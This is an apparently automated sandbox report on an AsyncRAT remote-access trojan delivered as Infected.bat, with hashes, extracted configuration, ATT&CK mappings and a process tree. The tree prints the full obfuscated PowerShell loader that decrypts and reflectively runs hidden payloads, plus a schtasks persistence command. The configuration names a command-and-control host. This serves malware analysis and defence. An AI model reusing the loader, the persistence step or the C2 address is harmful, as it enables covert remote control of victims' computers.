asyncrat | 40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56

General

Target

Infected.bat
Size

74KB
MD5

25d86af45fcc93078ac8ff2dd1e83314
SHA1

fd00fd08a9e264bf2470ca17d4b118522fae48fa
SHA256

40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56
SHA512

518ccc58c6c4eb3c744f4f417892d802dfa13cdb0fbc98020787b5534d12d602e8087741189dfa9ea7eeff9ce09714638b144771692e375fa93d249609debe24
SSDEEP

768:s1yoKUYWJ5jQm6+iPOf9EwY+yIkwJJke7RA65LyTUtwfMMT4bKfdYeXAG6qUo+Rd:Boqa5jHdlFMIkylRB5Gjeep6q6vSp2SY

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

policy-sas.gl.at.ply.gg:43122

Attributes

delay
1
install
true
install_file
Photos.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/2388-15-0x000002B16AA90000-0x000002B16AAA6000-memory.dmp	family_asyncrat

Executes dropped EXE 1 IoCs

Processes:

Photos.exe

pid process

2196 Photos.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2388 powershell.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4092 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

2936 schtasks.exe

pid	process
2196	Photos.exe

pid	process
4092	timeout.exe

pid	process
2936	schtasks.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powershell.exePhotos.exe

pid	process
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
2196	Photos.exe
2196	Photos.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exePhotos.exe

description pid process

Token: SeDebugPrivilege 2388 powershell.exe
Token: SeDebugPrivilege 2388 powershell.exe
Token: SeDebugPrivilege 2196 Photos.exe

description	pid	process
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2196	Photos.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.execmd.execmd.exe

description	pid	process	target process
PID 1064 wrote to memory of 2388	1064	cmd.exe	powershell.exe
PID 1064 wrote to memory of 2388	1064	cmd.exe	powershell.exe
PID 2388 wrote to memory of 3380	2388	powershell.exe	cmd.exe
PID 2388 wrote to memory of 3380	2388	powershell.exe	cmd.exe
PID 2388 wrote to memory of 3632	2388	powershell.exe	cmd.exe
PID 2388 wrote to memory of 3632	2388	powershell.exe	cmd.exe
PID 3632 wrote to memory of 4092	3632	cmd.exe	timeout.exe
PID 3632 wrote to memory of 4092	3632	cmd.exe	timeout.exe
PID 3380 wrote to memory of 2936	3380	cmd.exe	schtasks.exe
PID 3380 wrote to memory of 2936	3380	cmd.exe	schtasks.exe
PID 3632 wrote to memory of 2196	3632	cmd.exe	Photos.exe
PID 3632 wrote to memory of 2196	3632	cmd.exe	Photos.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rfPx2/qjPEULy3w9Vw91tAJgXSLsh+wieWCmL2bqeJE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uoQNNJFNYFBjzV7jmi3PfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $huwyq=New-Object System.IO.MemoryStream(,$param_var); $asgET=New-Object System.IO.MemoryStream; $pgUdN=New-Object System.IO.Compression.GZipStream($huwyq, [IO.Compression.CompressionMode]::Decompress); $pgUdN.CopyTo($asgET); $pgUdN.Dispose(); $huwyq.Dispose(); $asgET.Dispose(); $asgET.ToArray();}function execute_function($param_var,$param2_var){ $MXcqt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wghyx=$MXcqt.EntryPoint; $wghyx.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$dNySU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Infected.bat').Split([Environment]::NewLine);foreach ($NKwGP in $dNySU) { if ($NKwGP.StartsWith(':: ')) { $rNMtY=$NKwGP.Substring(3); break; }}$payloads_var=[string[]]$rNMtY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2388

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:3380

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Photos" /tr '"C:\Users\Admin\AppData\Roaming\Photos.exe"'
4⤵
- Scheduled Task/Job: Scheduled Task
PID:2936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8F4F.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:3632

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:4092

C:\Users\Admin\AppData\Roaming\Photos.exe
"C:\Users\Admin\AppData\Roaming\Photos.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vy3lihnt.gyr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8F4F.tmp.bat

Filesize
150B

MD5
641de6cf81753c1b4f6c5b5426b92524

SHA1
04b4d8f00047d9cdcfb23271e5a4212caf4f3771

SHA256
6ff91b25ebb9b9417b3c1d75ccc8ae7303b6015d837d373198ec195ccdf41003

SHA512
365a0920a92dca07d4ee59c738a954a751efdb153ec3265fe9c8715455228acdfff3adbe322271db15f6066b72eb4fb9296a6544aa4cf1e38eed417a5d30678d

Download Submit
C:\Users\Admin\AppData\Roaming\Photos.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/2196-33-0x000001BE254D0000-0x000001BE25516000-memory.dmp

Filesize
280KB

Download
memory/2388-13-0x000002B16A860000-0x000002B16A868000-memory.dmp

Filesize
32KB

Download
memory/2388-12-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/2388-0-0x00007FFB4E593000-0x00007FFB4E595000-memory.dmp

Filesize
8KB

Download
memory/2388-15-0x000002B16AA90000-0x000002B16AAA6000-memory.dmp

Filesize
88KB

Download
memory/2388-14-0x000002B16A870000-0x000002B16A880000-memory.dmp

Filesize
64KB

Download
memory/2388-16-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/2388-11-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/2388-10-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download
memory/2388-9-0x000002B16A7F0000-0x000002B16A812000-memory.dmp

Filesize
136KB

Download
memory/2388-34-0x00007FFB4E593000-0x00007FFB4E595000-memory.dmp

Filesize
8KB

Download
memory/2388-35-0x00007FFB4E590000-0x00007FFB4F052000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads